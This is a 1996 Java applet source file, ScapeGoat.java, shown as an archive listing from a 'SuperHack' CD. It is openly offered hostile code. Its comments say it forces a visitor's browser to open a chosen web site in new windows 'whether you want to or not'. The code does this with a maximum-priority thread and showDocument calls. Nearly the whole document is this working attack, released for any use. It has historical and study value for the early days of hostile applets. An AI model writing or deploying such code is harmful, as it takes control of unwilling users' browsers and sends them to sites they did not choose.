home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / SCAPEG_1.ZIP / SCAPEG~1.JAV
Encoding:
Text File  |  1996-05-08  |  2.0 KB  |  74 lines

  1. /* ScapeGoat.java by Mark D. LaDue */
  2.  
  3. /* April 17, 1996 */
  4.  
  5. /* Copyright (c) 1996 Mark D. LaDue
  6.    You may use, study, modify, and distribute this example for any purpose.
  7.    This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to make your browser 
  10.    visit a given web site over and over again,
  11.    whether you want to or not, popping up a new copy of the 
  12.    browser each time. */ 
  13.  
  14. import java.awt.*;
  15. import java.net.*;
  16.  
  17. public class ScapeGoat extends java.applet.Applet implements Runnable {
  18.  
  19. //  Just a font to paint strings to the applet window 
  20.     Font wordFont = new Font("TimesRoman", Font.BOLD, 36);
  21.  
  22.     Thread joyride = null;
  23.  
  24. //  A web site that the browser will be forced to visit
  25.     URL site; 
  26.  
  27. //  Used to read in a parameter that makes the thread sleep for a
  28. //  specified number of seconds
  29.     int delay;
  30.  
  31. /*  Set up a big white rectangle in the browser and
  32.     determine web site to visit */ 
  33.  
  34.     public void init() {
  35.     setBackground(Color.white);
  36.     repaint();
  37. //  Determine how many seconds the thread should sleep before kicking in
  38.     String str = getParameter("wait");
  39.     if (str == null)
  40.         delay = 0;
  41.     else delay = (1000)*(Integer.parseInt(str));
  42.  
  43.     str = getParameter("where");
  44.     if (str == null)
  45.         try {
  46.             site = new URL("http://www.math.gatech.edu/~mladue/ScapeGoat.html");
  47.         }
  48.         catch (MalformedURLException m) {}    
  49.     else try {
  50.         site = new URL(str);
  51.         }
  52.     catch (MalformedURLException m) {}
  53.     }
  54.  
  55.  
  56. /*  Create and start the offending thread in the standard way */
  57.  
  58.     public void start() {
  59.         if (joyride == null) {
  60.         joyride = new Thread(this);
  61.         joyride .setPriority(Thread.MAX_PRIORITY);
  62.         joyride.start();
  63.         }
  64.     }
  65.  
  66. //  Now visit the site 
  67.     public void run() {
  68.         try {Thread.sleep(delay); }
  69.         catch (InterruptedException ie) {}
  70.         getAppletContext().showDocument(site, "_blank");
  71.     }
  72. }
  73.  
  74.